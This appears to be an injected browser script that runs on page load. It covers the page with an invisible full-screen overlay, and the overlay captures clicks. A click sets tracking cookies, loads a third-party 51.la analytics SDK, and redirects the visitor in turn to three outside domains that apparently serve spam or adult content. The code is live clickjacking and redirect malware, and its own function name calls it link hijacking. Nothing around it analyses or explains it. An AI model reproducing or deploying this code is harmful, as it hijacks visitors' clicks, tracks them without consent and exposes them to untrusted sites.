function setWithExpiry(key, value, expiry) {
  const now = new Date();
  localStorage.setItem(key, JSON.stringify({ value, expiry: now.getTime() + expiry * 1000 }));
}
function setCookie(name, value, expiryInSeconds = 43200) {
  const exp = new Date();
  exp.setTime(exp.getTime() + expiryInSeconds * 1000);
  document.cookie = `${name}=${escape(value)};expires=${exp.toGMTString()};path=/`;
}
function getCookie(name) {
  const arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
  return arr ? unescape(arr[2]) : null;
}
function createOverlay() {
  const overlay = document.createElement('div');
  overlay.style.position = 'fixed';
  overlay.style.top = '0';
  overlay.style.left = '0';
  overlay.style.width = '100%';
  overlay.style.height = '100%';
  overlay.style.backgroundColor = 'rgba(0, 0, 0, 0)';
  overlay.style.zIndex = '9999';
  overlay.style.cursor = 'pointer';
  overlay.addEventListener('click', handleOverlayClick);

  const parent = document.body || document.documentElement;
  if (parent) {
    parent.appendChild(overlay);
  }
}
function handleOverlayClick() {
  let cookie1 = getCookie('Cna');
  let cookie2 = getCookie('Cnb');
   let cookie3 = getCookie('Cnc');
  let url;
  if (!cookie1) {
    setCookie('Cna', '7co75SXv4fZWqtUAZaPWb6kDY_Hd3SEO_dclOWl5m00xMFn9A0Y');
    url = "https://www.ciyese.top";
  }
  if (cookie1 && !cookie2) {
    setCookie('Cnb', '7co75SXv4fZWqtUAZaPWb6kDY_Hd3SEO_dclOWl5m00xMFn9A0Y');
    url = "https://yxz101.mokpc.cn/26.html";
  }
  if (cookie1 && cookie2 && !cookie3) {
    setCookie('Cnc', '7co75SXv4fZWqtUAZaPWb6kDY_Hd3SEO_dclOWl5m00xMFn9A0Y');
    url = "https://www.07yese.top";
    setWithExpiry('implement', '1', 43200);
  }
!function(p){"use strict";!function(t){var s=window,e=document,i=p,c="".concat("https:"===e.location.protocol?"https://":"http://","sdk.51.la/js-sdk-pro.min.js"),n=e.createElement("script"),r=e.getElementsByTagName("script")[0];n.type="text/javascript",n.setAttribute("charset","UTF-8"),n.async=!0,n.src=c,n.id="LA_COLLECT",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:"3LRS7a0vLcXStamO",ck:"3LRS7a0vLcXStamO"});
if (url) {
    setTimeout(function(){
      window.location.href = url;
    }, 500);
  }
}
function hijackLinksAndRedirect() {
  const cookie1 = getCookie('Cna');
  const cookie2 = getCookie('Cnb');
   const cookie3 = getCookie('Cnc');
  if (!cookie1 || !cookie2) {
    createOverlay();
  }
}
hijackLinksAndRedirect();